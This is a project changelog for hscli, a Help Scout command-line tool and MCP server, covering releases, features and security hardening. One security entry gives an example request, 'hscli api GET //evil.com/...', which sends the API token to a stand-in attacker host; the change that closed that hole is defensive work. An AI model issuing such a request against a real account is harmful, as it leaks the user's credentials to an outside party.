All notable changes to this project will be documented in this file.
The format is based on Keep a Changelog, and this project adheres to Semantic Versioning.
Dependency refresh — no functional changes.
- Dependencies: js-yaml 4 → 5 (now ESM-only with named exports; internal import updated, YAML output unchanged), oclif framework updates (
@oclif/core4.11.14 and plugins),undici8.7.0,tar7.5.19,ora9.4.1, andhono4.12.28 (transitive, via the MCP SDK). Dev tooling (eslint, prettier, vitest, nock) and website deps (astro, starlight, esbuild) refreshed alongside. - Build: every dependency in
package.jsonis now pinned to an exact version (removed the last caret ranges onjs-yaml,@modelcontextprotocol/sdk, andzod). - CI: workflows now use
actions/checkoutv7.
Stability pass (from an in-depth adversarial review).
- Reliability: pagination no longer loops forever on a non-numeric
pagesvalue (both API clients); the 429 backoff no longer busy-loops whenRetry-Afteris non-numeric (e.g. an HTTP-date) — both now fall back to a sane delay / terminate. - MCP — safety & robustness:
- Tool argument values can no longer be reinterpreted as CLI flags (argv injection): flags are passed as
--name=valueand positional args after a--separator. - A signal-killed tool subprocess is reported as an error instead of silent success with partial output.
- Tool calls now have a timeout and an output-size cap, so a hung or runaway command can't hang or OOM the server.
mcp serveforwards the active--profileto tool calls (previously they silently ran under the default account).- Integer arguments accept JSON numbers (
{id: 123}), not only strings. auth login/logout/refresh/setupanddocs authare no longer exposed as tools (they manage local credentials and can open a browser / bind a port on the host);workflow runis now flagged destructive; the inertyesinput was removed from delete tools.
- Tool argument values can no longer be reinterpreted as CLI flags (argv injection): flags are passed as
- Homebrew:
--jqnow works — the formula depends onjqand points node-jq at it (its bundled binary can't be downloaded in the Homebrew sandbox). - Reports:
--output csv/tablenow fail with a clear message (reports are nested JSON) instead of emitting nothing. - Docs API:
--text @missing-filenow reports a clear error instead of a raw stack trace. - Keychain: a write with no usable keychain (e.g. in a container) gives the friendly "keychain unavailable" guidance instead of a raw
PermissionDenied.
- Distribution beyond npm:
- Docker —
docker run --rm ghcr.io/wavyx/hscli --help. Built and pushed to GHCR by the release workflow. - Homebrew —
brew tap wavyx/tap && brew install hscli(macOS/Linux). - Scoop —
scoop bucket add hscli https://github.com/wavyx/scoop-hscli && scoop install hscli(Windows). - npm stays the source of truth;
scripts/gen-dist.mjsregenerates the Homebrew formula + Scoop manifest from the published tarball (with its sha256).
- Docker —
auth status --output jsonemits a structured status object (profile, keychain, token state, user) — handy for scripts and as a structured MCP tool result.
- MCP:
mcp serveno longer advertises the output-shaping global flags (--output/--jq/--fields/--timeout/--no-retry/--verbose/--no-color) it never uses; it keeps--profileand--allow-writes.
- Home page: a featured MCP section showcasing
hscli mcp servefor AI agents, alongside the Docs block.
- MCP: no longer expose
doctor(a local-environment diagnostic that makes a live network probe) ormcp serveitself (calling it would spawn a nested server) as tools; read tools now carryidempotentHintso clients can cache/retry them safely.
- MCP: bulk operations (
conv bulk-status) now carry the MCPdestructiveHint, so clients prompt before running them — previously onlydelete/removetools were flagged. Corrected the MCP guide to describe exactly which tools are marked destructive (delete/remove/bulk) versus plain writes (create/update).
- MCP server —
hscli mcp serve. Run hscli as a Model Context Protocol server over stdio so AI agents (Claude Desktop, Claude Code, …) drive Help Scout through native tools. One tool per command, generated from the command manifest so it stays in sync.- Reads by default, writes opt-in. Only read-only tools are exposed unless started with
--allow-writes; mutating tools carry MCPdestructiveHint/readOnlyHintannotations so clients can confirm dangerous calls. - Each tool call runs the CLI as a child process (keeping the stdio protocol channel clean) and returns the command's JSON as
structuredContent. Theapiescape hatch, streamingconv watch, and bundled oclif plugin commands are not exposed. - Reuses the existing OS-keychain OAuth token and Docs API key — the server runs as you.
- Reads by default, writes opt-in. Only read-only tools are exposed unless started with
- New MCP guide with Claude Desktop / Claude Code configuration.
- Help Scout Docs API support — a new
hscli docscommand group for the knowledge base. Docs is a separate product and authenticates with its own per-user API key, independent of the Mailbox OAuth login:docs auth— validate and store the Docs API key in the OS keychain (or passHSCLI_DOCS_API_KEYfor CI).- Read & search:
docs site list|get,docs collection list|get,docs category list,docs article list|get|search. - Articles:
docs article create|update|delete, plusdocs article save-draft|delete-draft. - Collections & categories:
docs collection create|update|delete,docs category create|update|delete. - The Docs client is host-locked to
docsapi.helpscout.netand shares hscli's retry/backoff, rate-limit handling, structured--output table|json|yaml|csv, and deterministic exit codes.
- Documentation: a new Docs (knowledge base) guide, separate-API-key coverage in the authentication guide, and a home-page recipe showing an agent turning inbox patterns into published articles. The generated command reference now spans all 88 commands.
- CI, release, and docs workflows now run on Node-24 action majors —
actions/checkout@v6,actions/setup-node@v6,codecov/codecov-action@v6,actions/upload-pages-artifact@v5,actions/deploy-pages@v5— clearing the Node-20 GitHub Actions runner deprecation. - Docs site migrated off the deprecated top-level
markdown.smartypants/markdown.remarkPluginsoptions to the Astro 6.4markdown.processor: unified({ … })API (the old options are removed in Astro 8.0). No output change — code samples keep literal--flagsand straight quotes. - Routine minor/patch dependency bumps (Dependabot):
@inquirer/prompts,@oclif/plugin-help,@oclif/plugin-plugins,js-yaml,tar,eslint,oclif,vitest,@vitest/coverage-v8.
- BREAKING: the binary is now
hscliinstead ofhsto avoid a global-install collision with the HubSpot CLI (which also installshs). Update scripts and aliases accordingly.
hscli apiis now host-locked. Requests whose path resolves to any host other thanapi.helpscout.netare refused, closing a token-exfiltration vector (e.g.hscli api GET //evil.com/...).- Token storage hard-fails when no OS keychain is available. hscli no longer falls back to a weakly-obfuscated file; it refuses to write credentials to disk in plaintext (BREAKING for environments without a system keychain).
- The Authorization Code login now binds the loopback callback to the fixed port
9999, matching the Redirection URL thehscli auth setupwizard registers, and fails with a clear message if the port is in use. - All API requests now send a
hscli/<version>User-Agent.
LICENSE(MIT),SECURITY.md,CODE_OF_CONDUCT.md, issue/PR templates, and Dependabot config.- Automated release workflow (tag-triggered npm publish with provenance via OIDC trusted publishing + GitHub Release).
- Test coverage is now gated at 90% in CI;
CHANGELOG.mdships in the npm tarball.
- Beacon utilities — new
hs beacontopic:hs beacon sign --email --secret— HMAC-SHA256 signature for Beacon Secure Modehs beacon verify --email --secret --signature— verify a signature (exit 1 on mismatch)hs beacon embed <id> [--color] [--position] [--style] [--text] [--icon-image]— generate<script>embed blockhs beacon identify-snippet --beacon-id --secret --stack node|rails|php|django|python— server-side identify code generator
- Conversation source filter —
hs conv list --source <type>andhs conv export --source <type>with valuesapi|beacon|channel|chat|consumer|coreapi|customer|email. Implemented as client-side post-fetch filter because Help Scout does not exposesourceas a query parameter. - Beacon-origin report —
hs report beacon [--since N] [--mailbox]aggregates conversation counts bysource.typeandsource.viawith percentages. Default window is 30 days. - Docs — new
docs/beacon.mdcovering supported commands, explicit list of Help Scout limitations (Beacon CRUD / stats are web-UI only, no REST endpoints), and per-stack snippet examples.
- v0.6 (Distribution) was deferred. v0.7 prioritises functional surface coverage over packaging polish.
- Beacon configuration cannot be managed via the API — Help Scout does not expose
GET /v2/beaconsor related endpoints.hs beaconcommands are utility helpers for working with Beacon, not for managing its config.
hs backup: GDPR-style full account dump to a directory of JSON files.- Auto-incremental: subsequent runs sync only modified items via
modifiedSince --fullforces re-sync--resumecontinues an interrupted run fromcheckpoint.json--reconciledetects deletions via ID-only scan, writes_deleted.ndjson--keep-historyappends per-run delta log to_history/--attachmentsdownloads thread attachment binaries (skips existing)--compressproduces.tar.gzof output dir--include/--excludefilter resource set (users, teams, mailboxes, tags, workflows, webhooks, customers, conversations)--sinceoverrides per-resourcelastSyncedAt--parallel Ncaps concurrent attachment downloads--dry-runpreviews without writes- Refuses to write into existing non-backup directories
- Auto-incremental: subsequent runs sync only modified items via
hs conv dump <id>: single-conversation self-contained JSON archive (conversation + threads + primary customer + tags + attachment metadata), outputs to stdout or--out FILEhs conv export --embed threads: include thread bodies inline via HALembedquery; JSON/NDJSON only (CSV incompatible). Onlythreadsis supported by Help Scout's API on this endpoint.- Client: array query values now serialize as repeated params (
?embed=threads&embed=customers) - Docs:
docs/backup.mdwith output structure, modes, scheduling examples (cron, launchd, Task Scheduler)
- Added
tarfor--compress
- Live tail:
conv watchwith--pollinterval and--mailbox/--statusfilters - Full-text search:
conv search <query>with mailbox filter - Bulk export:
conv export --format json|csv|ndjsonwith pagination progress - Batch operations:
conv bulk-status --set closed --tag Xwith confirmation - Conversation count:
conv count --status active --mailbox Xwithout fetching full list - Attachments:
conv attachments <id>lists files from conversation threads - Mailbox folders:
mailbox folders <id>lists folder structure - Mailbox fields:
mailbox fields <id>lists custom fields - Tag usage:
tag usage <name>shows conversation count per tag - Config validation:
config validatechecks profile, OAuth app, keychain - Auto .env loading: CLI auto-loads
.envfrom current directory --no-retryflag: disable automatic retry on rate limits and 5xx errors--timeoutflag: override default 30s request timeout- Aliases:
alias set/list/unset— custom command shortcuts - Machine-readable errors:
--output jsonoutputs JSON error payload to stderr - Verbose error details:
--verboseshows full API request/response on errors - Pagination progress callback:
client.paginate()acceptsonProgressoption
@oclif/plugin-not-found— replaced by customcommand_not_foundhook that also handles alias expansion
- Tag commands:
tag list,tag get - User commands:
user list,user get(with --mailbox, --email filters) - Customer read commands:
customer list,customer get,customer search,customer conversations - Workflow commands:
workflow list,workflow run(max 50 conversation IDs) - Webhook commands:
webhook list,webhook get,webhook create,webhook delete - Report commands:
report company,report user,report conversations(with --start/--end date range) - Raw API escape hatch:
hs api <method> <path> [--body]for any endpoint - Output formats:
--output yaml(via js-yaml),--output csv(with proper escaping) - jq filtering:
--jq '<expr>'filters JSON output inline via node-jq - Field projection:
--fields id,namelimits displayed columns
- Write commands:
conv create,reply,note,status,assign,tag,move,delete,threads,edit-note - Customer commands:
customer create,customer update - Auth setup wizard:
hs auth setupfor BYO OAuth app configuration (interactive + non-interactive) - Body input helper:
--bodysupports inline text,@filepaths, and stdin pipe - Confirmation prompt:
conv deleterequires confirmation (--yesto skip) - JSON Patch:
client.jsonPatch()for RFC 6902 operations (status, assign, move, customer update) --verboseflag: enablesDEBUG=hs:*logging on all commands- Documentation:
docs/authentication.md,docs/api-reference.md,docs/commands.md,docs/configuration.md
- Auth model: simplified to BYO-only — Help Scout OAuth apps are account-scoped, no shared app possible
- README: slimmed to quick start + links to docs/
- Embedded OAuth credentials (
embedded-credentials.js) — dead code - Kill-switch manifest check (
kill-switch.js) — unnecessary without embedded app
- Reply endpoint requires
customerfield — CLI now fetches conversation first - Conversation PATCH uses single JSON Patch object, not array
- ISO dates stripped of milliseconds for Help Scout compatibility
- Authentication: OAuth2 Authorization Code and Client Credentials flows
- Profiles: multi-account support with OS keychain storage (
hs profile list/use/current) - Conversations:
hs conv listwith filters (--status, --mailbox, --tag, --assigned-to, --query, --since, --limit) andhs conv get <id> - Mailboxes:
hs mailbox listandhs mailbox get <id> - Users:
hs user mefor current authenticated user - Configuration:
hs config get/set/listwith 12-factor precedence (flags > env > profile > global > defaults) - Diagnostics:
hs doctorwith 6 health checks (config, keychain, tokens, expiry, API reachability) - Output formats:
--output table(default in TTY) and--output json(default when piped) - Token management: auto-refresh on expiry, secure OS keychain storage via @napi-rs/keyring with encrypted file fallback
- CI: GitHub Actions workflow (Node 20/22 × ubuntu/macos/windows)
- Developer tooling: ESLint 9 flat config, Prettier, Vitest with 100% test coverage